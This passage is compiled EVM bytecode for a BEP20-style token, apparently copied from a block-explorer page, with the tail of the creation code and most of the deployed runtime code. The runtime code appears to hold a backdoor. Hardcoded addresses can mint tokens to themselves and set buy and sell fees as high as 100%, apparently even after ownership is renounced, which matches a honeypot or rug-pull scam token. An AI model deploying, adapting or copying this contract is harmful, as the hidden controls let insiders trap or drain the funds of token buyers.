565b60405180910390a35b5050611e17565b611d2a8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0e919061293d565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea157600080fd5b611ef382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612028919061293d565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90612b65565b60405180910390fd5b600061217d606461216f600d54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000612194828461268990919063ffffffff16565b90506121e883600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227d81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161231d919061293d565b60405180910390a360008211156124295761238082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612420919061293d565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361249d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249490612e3c565b60405180910390fd5b6124b2816002546126e290919063ffffffff16565b60028190555061250a81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125ab919061293d565b60405180910390a35050565b60008083036125c9576000905061262b565b600082846125d79190612e8b565b90508284826125e69190612efc565b14612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90612f79565b60405180910390fd5b809150505b92915050565b6000808211612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c90612fe5565b60405180910390fd5b81836126819190612efc565b905092915050565b6000828211156126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590613051565b60405180910390fd5b81836126da9190613071565b905092915050565b60008082846126f191906130a5565b905083811015612736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272d90613125565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561277a57808201518184015260208101905061275f565b60008484015250505050565b6000601f19601f8301169050919050565b60006127a282612740565b6127ac818561274b565b93506127bc81856020860161275c565b6127c581612786565b840191505092915050565b600060208201905081810360008301526127ea8184612797565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612822826127f7565b9050919050565b61283281612817565b811461283d57600080fd5b50565b60008135905061284f81612829565b92915050565b6000819050919050565b61286881612855565b811461287357600080fd5b50565b6000813590506128858161285f565b92915050565b600080604083850312156128a2576128a16127f2565b5b60006128b085828601612840565b92505060206128c185828601612876565b9150509250929050565b60008115159050919050565b6128e0816128cb565b82525050565b60006020820190506128fb60008301846128d7565b92915050565b600060208284031215612917576129166127f2565b5b600061292584828501612876565b91505092915050565b61293781612855565b82525050565b6000602082019050612952600083018461292e565b92915050565b600080600060608486031215612971576129706127f2565b5b600061297f86828701612840565b935050602061299086828701612840565b92505060406129a186828701612876565b9150509250925092565b600080604083850312156129c2576129c16127f2565b5b60006129d085828601612876565b92505060206129e185828601612876565b9150509250929050565b600060ff82169050919050565b612a01816129eb565b82525050565b6000602082019050612a1c60008301846129f8565b92915050565b600060208284031215612a3857612a376127f2565b5b6000612a4684828501612840565b91505092915050565b612a5881612817565b82525050565b6000602082019050612a736000830184612a4f565b92915050565b60008060408385031215612a9057612a8f6127f2565b5b6000612a9e85828601612840565b9250506020612aaf85828601612840565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b0057607f821691505b602082108103612b1357612b12612ab9565b5b50919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612b4f60148361274b565b9150612b5a82612b19565b602082019050919050565b60006020820190508181036000830152612b7e81612b42565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000612bbb60168361274b565b9150612bc682612b85565b602082019050919050565b60006020820190508181036000830152612bea81612bae565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612c2760198361274b565b9150612c3282612bf1565b602082019050919050565b60006020820190508181036000830152612c5681612c1a565b9050919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612c93601a8361274b565b9150612c9e82612c5d565b602082019050919050565b60006020820190508181036000830152612cc281612c86565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000612cff601b8361274b565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b6000604082019050612d4a600083018561292e565b612d57602083018461292e565b9392505050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000612dba60238361274b565b9150612dc582612d5e565b604082019050919050565b60006020820190508181036000830152612de981612dad565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612e26601f8361274b565b9150612e3182612df0565b602082019050919050565b60006020820190508181036000830152612e5581612e19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e9682612855565b9150612ea183612855565b9250828202612eaf81612855565b91508282048414831517612ec657612ec5612e5c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f0782612855565b9150612f1283612855565b925082612f2257612f21612ecd565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000612f6360178361274b565b9150612f6e82612f2d565b602082019050919050565b60006020820190508181036000830152612f9281612f56565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000612fcf60108361274b565b9150612fda82612f99565b602082019050919050565b60006020820190508181036000830152612ffe81612fc2565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b600061303b60148361274b565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c82612855565b915061308783612855565b925082820390508181111561309f5761309e612e5c565b5b92915050565b60006130b082612855565b91506130bb83612855565b92508282019050808211156130d3576130d2612e5c565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061310f60118361274b565b915061311a826130d9565b602082019050919050565b6000602082019050818103600083015261313e81613102565b905091905056fea2646970667358221220dad08af55e10e1230f01185210248c5e39a2596f0b8077a3ddab568a847f477b64736f6c6343000812003300000000000000000000000051cb5ef7e0396b5b320c3f33c78f3218eb93f6d3

Deployed Bytecode

0x6080604052600436106101c25760003560e01c806370a08231116100f757806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610675578063dd62ed3e146106a0578063e2daf665146106dd578063e4849b3214610708576101c2565b806396c5e1ab146105c6578063a6f2ae3a14610603578063a9059cbb1461060d578063d0fb02031461064a576101c2565b8063891e1ee0116100d1578063891e1ee0146105085780638da5cb5b14610533578063923e51d51461055e57806395d89b411461059b576101c2565b806370a0823114610477578063715018a6146104b4578063858ced35146104cb576101c2565b8063313ce567116101645780633ef530eb1161013e5780633ef530eb146103b957806347062402146103e45780634a0af68d1461040f57806365f6a9211461044c576101c2565b8063313ce5671461032857806335e162f814610353578063376d567c1461037c576101c2565b806318160ddd116101a057806318160ddd1461026c57806323b872dd146102975780632b14ca56146102d45780632c7ee946146102ff576101c2565b806306fdde03146101c7578063095ea7b3146101f257806316e3b09c1461022f575b600080fd5b3480156101d357600080fd5b506101dc610731565b6040516101e991906127d0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061288b565b6107bf565b60405161022691906128e6565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612901565b6108b1565b60405161026391906128e6565b60405180910390f35b34801561027857600080fd5b5061028161096a565b60405161028e919061293d565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190612958565b610970565b6040516102cb91906128e6565b60405180910390f35b3480156102e057600080fd5b506102e96110d3565b6040516102f6919061293d565b60405180910390f35b34801561030b57600080fd5b50610326600480360381019061032191906129ab565b6110d9565b005b34801561033457600080fd5b5061033d611206565b60405161034a9190612a07565b60405180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906129ab565b611219565b005b34801561038857600080fd5b506103a3600480360381019061039e9190612a22565b611390565b6040516103b091906128e6565b60405180910390f35b3480156103c557600080fd5b506103ce611436565b6040516103db91906128e6565b60405180910390f35b3480156103f057600080fd5b506103f96114df565b604051610406919061293d565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612a22565b6114e5565b60405161044391906128e6565b60405180910390f35b34801561045857600080fd5b5061046161158b565b60405161046e9190612a5e565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190612a22565b6115b1565b6040516104ab919061293d565b60405180910390f35b3480156104c057600080fd5b506104c96115c9565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190612a22565b61172e565b6040516104ff91906128e6565b60405180910390f35b34801561051457600080fd5b5061051d6117d4565b60405161052a9190612a5e565b60405180910390f35b34801561053f57600080fd5b506105486117fa565b6040516105559190612a5e565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190612a22565b611820565b60405161059291906128e6565b60405180910390f35b3480156105a757600080fd5b506105b06118b8565b6040516105bd91906127d0565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190612901565b611946565b6040516105fa91906128e6565b60405180910390f35b61060b6119b5565b005b34801561061957600080fd5b50610634600480360381019061062f919061288b565b611e1a565b60405161064191906128e6565b60405180910390f35b34801561065657600080fd5b5061065f61203a565b60405161066c9190612a5e565b60405180910390f35b34801561068157600080fd5b5061068a612060565b6040516106979190612a5e565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612a79565b612086565b6040516106d4919061293d565b60405180910390f35b3480156106e957600080fd5b506106f26120ab565b6040516106ff9190612a5e565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190612901565b6120d1565b005b6000805461073e90612ae8565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90612ae8565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089f919061293d565b60405180910390a36001905092915050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061094e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61095757600080fd5b610961338361242e565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90612b65565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaa90612bd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1990612c3d565b60405180910390fd5b6000610b4c6064610b3e600d54866125b790919063ffffffff16565b61263190919063ffffffff16565b90506000610b63828561268990919063ffffffff16565b9050610bb784600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cec919061293d565b60405180910390a36000821115610df857610d4f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def919061293d565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610ed057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156110c657610f6484600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516110bd919061293d565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113357600080fd5b6064821115611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612ca9565b60405180910390fd5b60648111156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612d15565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516111fa929190612d35565b60405180910390a15050565b600360009054906101000a900460ff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112b45750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6112bd57600080fd5b6064821115611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f890612ca9565b60405180910390fd5b6064811115611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c90612d15565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611384929190612d35565b60405180910390a15050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ec57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114d35750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114dc57600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116645750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61166d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178a57600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186e57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600180546118c590612ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546118f190612ae8565b801561193e5780601f106119135761010080835404028352916020019161193e565b820191906000526020600020905b81548152906001019060200180831161192157829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a257600080fd5b6119ac338361242e565b60019050919050565b600034116119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90612dd0565b60405180910390fd5b60003490506000600c541115611cb6576000611a326064611a24600c54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000611a49828461268990919063ffffffff16565b9050611abf8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba3919061293d565b60405180910390a36000821115611caf57611c0682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca6919061293d565b60405180910390a35b5050611e17565b611d2a8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0e919061293d565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea157600080fd5b611ef382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612028919061293d565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90612b65565b60405180910390fd5b600061217d606461216f600d54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000612194828461268990919063ffffffff16565b90506121e883600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227d81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161231d919061293d565b60405180910390a360008211156124295761238082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612420919061293d565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361249d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249490612e3c565b60405180910390fd5b6124b2816002546126e290919063ffffffff16565b60028190555061250a81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125ab919061293d565b60405180910390a35050565b60008083036125c9576000905061262b565b600082846125d79190612e8b565b90508284826125e69190612efc565b14612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90612f79565b60405180910390fd5b809150505b92915050565b6000808211612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c90612fe5565b60405180910390fd5b81836126819190612efc565b905092915050565b6000828211156126ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c590613051565b60405180910390fd5b81836126da9190613071565b905092915050565b60008082846126f191906130a5565b905083811015612736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272d90613125565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561277a57808201518184015260208101905061275f565b60008484015250505050565b6000601f19601f8301169050919050565b60006127a282612740565b6127ac818561274b565b93506127bc81856020860161275c565b6127c581612786565b840191505092915050565b600060208201905081810360008301526127ea8184612797565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612822826127f7565b9050919050565b61283281612817565b811461283d57600080fd5b50565b60008135905061284f81612829565b92915050565b6000819050919050565b61286881612855565b811461287357600080fd5b50565b6000813590506128858161285f565b92915050565b600080604083850312156128a2576128a16127f2565b5b60006128b085828601612840565b92505060206128c185828601612876565b9150509250929050565b60008115159050919050565b6128e0816128cb565b82525050565b60006020820190506128fb60008301846128d7565b92915050565b600060208284031215612917576129166127f2565b5b600061292584828501612876565b91505092915050565b61293781612855565b82525050565b6000602082019050612952600083018461292e565b92915050565b600080600060608486031215612971576129706127f2565b5b600061297f86828701612840565b935050602061299086828701612840565b92505060406129a186828701612876565b9150509250925092565b600080604083850312156129c2576129c16127f2565b5b60006129d085828601612876565b92505060206129e185828601612876565b9150509250929050565b600060ff82169050919050565b612a01816129eb565b82525050565b6000602082019050612a1c60008301846129f8565b92915050565b600060208284031215612a3857612a376127f2565b5b6000612a4684828501612840565b91505092915050565b612a5881612817565b82525050565b6000602082019050612a736000830184612a4f565b92915050565b60008060408385031215612a9057612a8f6127f2565b5b6000612a9e85828601612840565b9250506020612aaf85828601612840565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000